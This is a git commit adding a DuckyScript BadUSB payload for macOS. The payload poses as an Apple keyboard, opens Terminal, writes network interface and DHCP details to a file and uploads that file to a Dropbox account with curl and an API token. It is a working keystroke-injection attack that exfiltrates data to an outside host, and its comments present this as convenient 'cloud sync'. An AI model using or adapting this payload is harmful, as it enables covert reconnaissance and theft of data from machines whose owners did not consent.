Added Network Recon to Dropbox
This commit is contained in:
@@ -0,0 +1,30 @@
|
||||
REM Network Recon and Cloud Sync Automation
|
||||
REM This script gathers network information from a macOS system
|
||||
REM then uploads it to Dropbox for easy synchronization and analysis.
|
||||
REM Run this script to capture network interface details and save them in a text file. The file is then uploaded to Dropbox for secure storage and accessibility.
|
||||
|
||||
|
||||
REM Title: Network Recon to Dropbox
|
||||
REM Author: Narsty
|
||||
REM Target: MacOS
|
||||
REM Version: 1.0
|
||||
REM Category: Recon
|
||||
|
||||
|
||||
ID 05ac:021e Apple:Keyboard
|
||||
DELAY 500
|
||||
GUI SPACE
|
||||
DELAY 500
|
||||
STRING terminal
|
||||
DELAY 1000
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING osascript -e 'do shell script "networksetup -listallhardwareports > \"$HOME/Desktop/network_interfaces.txt\" && ipconfig getpacket en0 >> \"$HOME/Desktop/network_interfaces.txt\""'
|
||||
DELAY 1000
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING curl -X POST https://content.dropboxapi.com/2/files/upload -H "Authorization: Bearer <API access token here>" -H "Dropbox-API-Arg: {\"path\": \"/Backup/network_interfaces.txt\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" -H "Content-Type: application/octet-stream" --data-binary @"$HOME/Desktop/network_interfaces.txt"
|
||||
DELAY 4000
|
||||
ENTER
|
||||
GUI w
|
||||
|
||||
Reference in New Issue
Block a user